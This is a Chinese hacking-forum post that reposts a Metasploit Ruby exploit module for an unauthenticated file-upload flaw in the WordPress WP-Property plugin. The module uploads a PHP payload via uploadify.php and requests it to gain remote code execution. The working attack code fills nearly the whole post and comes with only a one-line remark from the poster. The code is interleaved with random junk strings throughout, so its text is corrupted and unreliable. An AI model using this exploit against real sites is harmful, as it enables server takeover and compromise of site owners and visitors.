找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2233|回复: 0
打印 上一主题 下一主题

WordPress WP-Property PHP 文件上传漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:51:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
WordPress WP-Property PHP 文件上传漏洞( }5 c7 H& r  k; K
) n' q$ ~* L0 |+ z4 c4 L& \
## # This file is part of the Metasploit Framework and may be subject to* A2 t* D; M' W# N& u  s# E$ ]" ^
: X* w. y2 N4 w
# redistribution and commercial restrictions. Please see the Metasploit8 Z  h$ a0 ~9 R) ?; c- B
2 f/ x+ z7 n8 g) A6 ^) S' A
# Framework web site for more information on licensing and terms of use.% h8 Y" i, i5 }& N" d, y! {4 G% m
8 V1 C) H+ L0 V& j8 X
#   http://metasploit.com/framework/ ##
* Z3 z8 P* l1 v; D3 N: U) y6 Q4 m  r. p( d3 y4 w
0 U$ J# T( I8 ^$ F8 e( E# A3 x
0 I$ S  S- ^# _! b# @/ C

  \6 n3 y, j7 T) Y  |. p" O+ l8 h+ W4 B' a9 q! R' G2 Q
require 'msf/core'
, z0 P5 a( R* W) Rrequire 'msf/core/exploit/php_exe'; A- q5 O' ~9 z

* F- }7 |7 f$ k' e/ aclass Metasploit3 < Msf::Exploit::Remote     Rank = ExcellentRanking       include Msf::Exploit::Remote::HttpClient     include Msf::Exploit:hpEXE       def initialize(info = {})         super(update_info(info,             'Name'           => 'WordPress WP-Property PHP File Upload Vulnerability',! k/ D% j$ r  e7 k6 Z) L
'Description'    => %q{
0 {0 t8 O, z5 i' z3 N, o5 `This module exploits a vulnerability found in WP-Property <= 1.35.0 WordPress                 plugin. By abusing the uploadify.php file, a malicious user can upload a file to a                 temp directory without authentication, which results in arbitrary code execution.             },             'Author'         =>
+ H4 B5 L7 m; Z8 K# U# y5 G[( K1 U; b& S8 N2 v0 T
'Sammy FORGIT', # initial discovery4 P: p6 ]- c0 |# Q9 g  Z5 `
'James Fitts <fitts.james[at]gmail.com>' # metasploit module3 ^; P+ d3 J) e3 Y
],
9 A& d5 |& ~" x* R" y8 K3 b# A'License'        => MSF_LICENSE,1 Q& }3 o: @( s# S. E
'References'     =>8 c5 \- w4 o: d+ H. J0 v; t0 \
[
$ I7 Z( ^' y" n) e2 b# ]$ C+ S0 a[ 'OSVDB', '82656' ],
$ P$ E9 U7 @% l6 X, P[ 'BID', '53787' ],
0 D6 P% D. _4 h2 y, m8 u[ 'EDB', '18987'],! J9 [  X5 S/ ^  }( Q& e
[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-wp-property-shell-upload-vulnerability.html' ]
) |& B0 k3 f& F* F) }9 x( h],
3 R" y' H0 ?* v: C'Payload'        =>. x+ w! `  \, y
{
+ V' R: ~5 V/ [# i- b% }1 h'BadChars' => "\x00",
! o2 H1 P, q3 t- W6 a7 Q},
1 f* b8 L# c1 Z+ T, g! I'Platform'       => 'php',
4 V, d% @# K0 z9 j2 t/ g'Arch'           => ARCH_PHP,
) N3 l* z1 w% L0 m'Targets'        =>, h; j3 G+ q9 s! {9 K( |: k
[! u% B$ C: \* C
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],# e0 F: p6 f8 j" W
[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
' B9 T. b( x' C2 G],6 y/ B# b( P6 n  v
'DefaultTarget'  => 0,2 p8 q$ S9 m3 u6 ^0 z$ n$ |2 H
'DisclosureDate' => 'Mar 26 2012'))1 ]) t; V4 B. B2 \, \8 C0 I
- Z; |1 Q: `4 z* G4 z/ i& ~9 ?
register_options(/ x2 @1 Z0 q% L
[
3 ^: R( ?# Z" [' C( p0 E, OOptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
5 `6 l; H0 O* r3 }], self.class)
- ?& B9 U) f$ J& p% S8 T6 e; Rend
' l7 |1 B% `; `9 l, P7 X
9 ^' L" w7 _& S1 {def check
! [1 c% y+ f9 N1 j5 Xuri =  target_uri.path) s2 p  p9 t! T3 g- m" V
uri << '/' if uri[-1,1] != '/'           res = send_request_cgi({             'method' => 'GET',
+ P2 ^4 w7 ^6 ?' N! }  ]6 S'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php"& ^- [1 i  g( `6 G
})
$ `$ F( R% M2 w! a! d  k+ C
! z' A: f' U$ j9 |0 ]3 Wif not res or res.code != 200
" U  q$ Q% N% t' ^) M/ Ireturn Exploit::CheckCode::Unknown1 [( Y4 Q$ Z9 q
end7 W1 W" C6 t7 D& O3 `3 ~

/ B. w  H4 L3 V! S5 zreturn Exploit::CheckCode::Appears
; n+ L9 G& E, fend
" v1 |: k1 v- B! n2 k/ ~3 u8 @: P8 \
def exploit
* r! @* c+ `5 z% G7 zuri =  target_uri.path, a+ o5 \. n6 m) s1 I+ K
uri << '/' if uri[-1,1] != '/'           peer = "#{rhost}:#{rport}"           @payload_name = "#{rand_text_alpha(5)}.php"         php_payload = get_write_exec_payload(:unlink_self=>true)% x1 a0 @7 a3 e3 f$ z3 W6 y
" `( c) v: ^" G  \
data = Rex::MIME::Message.new
2 j9 O$ {! t# z2 adata.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{@payload_name}\"")
0 Q" q$ Z1 ^' \2 Ldata.add_part("#{uri}wp-content/plugins/wp-property/third-party/uploadify/", nil, nil, "form-data; name=\"folder\"")
1 f- F, E6 T/ }0 z$ }  x; x  ^# d5 _post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')4 ?% w4 U1 B4 @1 t

- _- c" x4 P5 Z6 [print_status("#{peer} - Uploading payload #{@payload_name}"): P$ _# q/ V1 K# a! w- n  v$ l! R: n
res = send_request_cgi({. u2 W/ Z. h$ i: a. D; P. x
'method' => 'POST',
- m# n  n! J# d- M( v'uri'    => "#{uri}wp-content/plugins/wp-property/third-party/uploadify/uploadify.php",
/ K2 A7 t% r' O; h! _; N, o'ctype'  => "multipart/form-data; boundary=#{data.bound}",
+ b' S7 S& B/ a0 t$ s'data'   => post_data
' Y/ x' S3 B4 O& e8 Z})
- c; s1 }" E9 ]7 b2 ?
- K; `" z+ ^( |/ [1 v4 zif not res or res.code != 200 or res.body !~ /#{@payload_name}/
9 P/ Z( l+ u; m* c9 ~" i6 _fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed"); S3 f8 l  S! t) @
end8 ^  B) K7 ^  J
6 u! C9 x' h! V0 |3 k' R
upload_uri = res.body
5 c& }& ?3 A. [& w0 t, T. d# A5 E5 k2 d! O
print_status("#{peer} - Executing payload #{@payload_name}")7 W* C. d* }$ r# O: z/ [1 V( r
res = send_request_raw({
3 E9 z! ]5 s& e, c2 k( P: `( ]) ]'uri'    => upload_uri,
: }; w1 A0 r  Q* ?'method' => 'GET'
0 T1 k( D0 D$ ^- F})
2 {* W" p8 U( B8 g% I+ d$ ^" dend
8 r5 o* _6 F# X, mend
5 k( Q$ J% z- s& A9 h2 e! N
3 o/ ~1 n% X$ a' \4 s不要问我这写的是什么 怎么利用 我是说msf.
) S0 H7 y7 K) P3 C9 F6 @- t; j
9 w6 d( ^* {. a4 Y# O* P- A
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表